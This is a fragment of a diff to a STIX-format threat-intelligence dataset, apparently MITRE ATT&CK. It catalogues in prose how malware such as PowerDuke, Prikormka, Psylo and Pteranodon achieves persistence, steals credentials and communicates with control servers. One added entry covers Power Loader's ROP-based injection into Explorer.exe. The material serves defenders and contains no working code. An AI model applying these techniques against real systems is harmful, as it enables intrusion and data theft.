+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A version of PlugX loads as shellcode within a .NET Framework project using msbuild.exe, presumably to bypass application whitelisting techniques.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -46785,7 +55973,7 @@
             "id": "relationship--7d020981-51b3-4ff6-825f-7cd192c934e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PoisonIvy can load DLLs.",
             "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
@@ -46806,7 +55994,7 @@
             "id": "relationship--b41c9b77-536b-49bc-8cb9-a873aa121002",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PoisonIvy uses the Camellia cipher to encrypt communications.",
             "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
@@ -46827,7 +56015,7 @@
             "id": "relationship--3ef89472-470c-42c9-be01-155efe607b78",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PoisonIvy contains a keylogger.",
             "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
@@ -46843,12 +56031,38 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--c56de8bc-ad9e-415a-8840-ae294ed4f88a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "overwrites Explorer\u2019s Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe.",
+            "source_ref": "malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3",
+            "target_ref": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "MalwareTech Power Loader Aug 2013",
+                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
+                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
+                },
+                {
+                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
+                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
+                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--1cbf5583-626a-4a24-bc59-f3b973752cee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke uses rundll32.exe to load.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
@@ -46869,7 +56083,7 @@
             "id": "relationship--f0b00a47-9d63-4d05-b771-022a21a4ed06",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke achieves persistence by using various Registry Run keys.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
@@ -46890,7 +56104,7 @@
             "id": "relationship--a72ad83f-8336-4d01-b22d-5c836f5e5bf9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke connects over 443 for C2.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
@@ -46911,7 +56125,7 @@
             "id": "relationship--1c677f35-b73b-47bc-b162-1fd036a38def",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke uses an alternate data stream (ADS) PNG file to hide and encrypt itself using Tiny Encryption Algorithm (TEA).",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
@@ -46932,7 +56146,7 @@
             "id": "relationship--0db8a021-2f3a-41cc-abc6-d8723c7e802b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke has a command to get the victim's domain and NetBIOS name.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
@@ -46953,9 +56167,9 @@
             "id": "relationship--1fda6ff7-a344-4bc3-b545-4083cc15290d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "PowerDuke has commands to get information about the victim's name, build, version, logical drives, drive type, free space, serial number, and memory usage.",
+            "description": "PowerDuke has commands to get information about the victim's name, build, version, serial number, and memory usage.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
             "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
             "object_marking_refs": [
@@ -46974,7 +56188,7 @@
             "id": "relationship--6b38f460-e309-4ab1-bbc9-bd0bb30f4af9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke has commands to get the time the machine was built, the time, and the time zone.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
@@ -46995,7 +56209,7 @@
             "id": "relationship--62f9aa2c-b0c1-4028-a2b8-c436e30ace4b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke has a command to list the victim's processes.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
@@ -47016,9 +56230,9 @@
             "id": "relationship--24ea53e3-a51f-4c4a-b3de-2e1d09ed69e8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "PowerDuke has commands to get its current directory name as well as the size of a file.",
+            "description": "PowerDuke has commands to get the current directory name as well as the size of a file. It also has commands to obtain information about logical drives, drive type, and free space.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
             "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
             "object_marking_refs": [
@@ -47037,7 +56251,7 @@
             "id": "relationship--e465e173-04d8-4a2b-8953-a2fa3b44aec0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke runs <code>cmd.exe /c</code> and sends the output to its C2.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
@@ -47058,7 +56272,7 @@
             "id": "relationship--5efe685d-66a6-4f1f-8779-4aae5db859d0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke has commands to get the current user's name and SID.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
@@ -47079,7 +56293,7 @@
             "id": "relationship--789cf81d-bfc9-4c1a-a34a-57e41981894a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke has a command to write random data across a file and delete it.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
@@ -47100,7 +56314,7 @@
             "id": "relationship--43d85ed6-223e-4402-bd29-be10a872359d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke has a command to get text of the current foreground window.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
@@ -47121,7 +56335,7 @@
             "id": "relationship--8ef27cd6-3909-4174-b57c-3dbe3061a6dd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke has a command to download a file.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
@@ -47142,7 +56356,7 @@
             "id": "relationship--6ce3735c-bfae-4eec-ab6b-bbf08cb7d60f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka uses DLL search order hijacking for persistence by saving itself as ntshrui.dll to the Windows directory so it will load before the legitimate ntshrui.dll saved in the System32 subdirectory.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47163,7 +56377,7 @@
             "id": "relationship--216ab163-818b-4303-beb6-a743b90c98bf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka uses rundll32.exe to load its DLL.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47184,7 +56398,7 @@
             "id": "relationship--c5fa4766-4468-4afd-9b5f-5ce4f443729d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka adds itself to a Registry Run key with the name guidVGA or guidVSA.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47205,7 +56419,7 @@
             "id": "relationship--290a1ceb-68e1-42ae-be81-f474038aaa05",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some resources in Prikormka are encrypted with a simple XOR operation or encoded with Base64.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47226,7 +56440,7 @@
             "id": "relationship--0d3e115b-ff08-4bff-8802-be3d21cec68f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka encrypts some C2 traffic with the Blowfish cipher.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47247,7 +56461,7 @@
             "id": "relationship--9cf37d0b-a23d-4514-961d-94d1cc6e2bef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka encodes C2 traffic with Base64.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47268,7 +56482,7 @@
             "id": "relationship--df207207-01b2-456b-9dc4-7afd5ffeeb46",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka creates a directory, <code>%USERPROFILE%\\AppData\\Local\\SKC\\</code>, which is used to store collected log files.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47289,7 +56503,7 @@
             "id": "relationship--96e928af-dbfc-4743-a1dc-353904e21fd3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka contains a module that collects documents with certain extensions from removable media or fixed drives connected via USB.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47310,7 +56524,7 @@
             "id": "relationship--fada6223-ba24-4c26-aa89-3998f07604f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After collecting documents from removable media, Prikormka compresses the collected files.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47331,7 +56545,7 @@
             "id": "relationship--56fac514-4461-4d8c-93a0-d12cade25169",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After collecting files and logs from the victim, Prikormka encrypts some collected data with Blowfish.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47352,7 +56566,7 @@
             "id": "relationship--1879905d-a4f6-43a7-aafe-a7e436e5c559",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka contains a keylogger module that collects keystrokes and the titles of foreground windows.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47373,7 +56587,7 @@
             "id": "relationship--290c4e3b-00be-411f-b0c8-919e85e08a49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka contains a module that captures screenshots of the victim's desktop.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47394,7 +56608,7 @@
             "id": "relationship--be5dadd8-71ce-40ac-8858-5d5c5fbe0e96",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After encrypting log files, the log encryption module in Prikormka deletes the original, unencrypted files from the host.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47415,7 +56629,7 @@
             "id": "relationship--33e0178f-c9b2-43db-9e63-3e664ae6bef0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka collects information on available printers and disk drives.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47436,7 +56650,7 @@
             "id": "relationship--7adaf2f3-52f2-40aa-b1ae-2fd2f05d9d56",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka collects information from the victim about Windows OS version, computer name, battery info, and physical memory.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47457,7 +56671,7 @@
             "id": "relationship--98b7d901-4ede-451f-bab8-3b2b37c56bfd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka collects information from the victim about installed anti-virus software.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47478,7 +56692,7 @@
             "id": "relationship--fce2d07b-7bc7-497a-b21a-75a23fbccf50",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka collects information from the victim about the current user name.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47499,7 +56713,7 @@
             "id": "relationship--3caec960-fa9c-4b2f-80e4-6dd4471e26ba",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka collects information from the victim about its IP addresses and MAC addresses.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47520,7 +56734,7 @@
             "id": "relationship--5c84cfe2-a395-47c6-831a-4491f8585a00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka collects passwords stored in applications installed on the victim.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47541,7 +56755,7 @@
             "id": "relationship--5033a0a2-ef95-4ec6-b5ac-d7cfbd7be9f0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka gathers logins and passwords stored in applications on the victims, including Google Chrome, Mozilla Firefox, and several other browsers.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47562,7 +56776,7 @@
             "id": "relationship--e64a09d0-4205-4aca-8acb-f6926233d107",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka collects information about the paths, size, and creation time of files with specific file extensions, but not the actual content of the file.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
@@ -47583,7 +56797,7 @@
             "id": "relationship--a66aff09-0635-44a3-b591-a530a25c9012",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Microsoft Sysinternals PsExec is a popular administration tool that can be used to execute binaries on remote systems using a temporary Windows service.",
             "source_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
@@ -47604,7 +56818,7 @@
             "id": "relationship--27102940-8ec1-42ad-98e5-57dc24b572eb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PsExec, a tool that has been used by adversaries, writes programs to the <code>ADMIN$</code> network share to execute commands on remote systems.",
             "source_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
@@ -47625,7 +56839,7 @@
             "id": "relationship--58f6b7ce-c0d0-4a54-b60d-1c39d6204796",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Psylo uses HTTPS for C2.",
             "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
@@ -47646,7 +56860,7 @@
             "id": "relationship--922c214d-ad32-4490-bb3f-a4db73b718d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Psylo has commands to enumerate all storage devices and to find all files that start with a particular string.",
             "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
@@ -47667,7 +56881,7 @@
             "id": "relationship--a1e74408-5c7b-4538-afd9-a01b23a92429",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Psylo has a command to download a file to the system from its C2 server.",
             "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
@@ -47688,7 +56902,7 @@
             "id": "relationship--d8a7ec97-b262-489d-bc4b-e2c7007f75bc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Psylo has a command to conduct timestomping by setting a specified file\u2019s timestamps to match those of a system file in the System32 directory.",
             "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
@@ -47709,7 +56923,7 @@
             "id": "relationship--ac3b6751-e615-44f6-a086-0c236742d8fd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Psylo exfiltrates data to its C2 server over the same protocol as C2 communications.",
             "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
@@ -47730,7 +56944,7 @@
             "id": "relationship--0471088d-7b45-4fec-8946-ae5bf463286b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon can capture screenshots at a configurable interval.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
@@ -47751,7 +56965,7 @@
             "id": "relationship--35ae6625-8563-493c-8950-1230bd0fd122",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon can download and execute additional files.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
@@ -47772,7 +56986,7 @@
             "id": "relationship--16632790-94dc-40ce-9c0a-2f6af0f691b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon can execute commands on the victim.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
@@ -47793,7 +57007,7 @@
             "id": "relationship--c8bceb4a-0cf2-43c9-9729-20ed706c4c72",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
@@ -47814,7 +57028,7 @@
             "id": "relationship--44908b0a-993a-4339-b30f-f0f1a64c0753",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon copies itself to the Startup folder to establish persistence.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
@@ -47835,7 +57049,7 @@
             "id": "relationship--a20b8e4c-330f-4e91-b4f6-e58e5800d690",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon executes functions using rundll32.exe.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
@@ -47856,7 +57070,7 @@
             "id": "relationship--dbacc7d5-5d10-4b41-994d-51e0792cfb19",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon schedules tasks to invoke its components in order to establish persistence.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
@@ -47877,7 +57091,7 @@
             "id": "relationship--5d46a519-1ef9-4cdb-b737-8c7b3ffb4f0e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon identifies files matching certain file extension and copies them to subdirectories it created.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
@@ -47898,7 +57112,7 @@
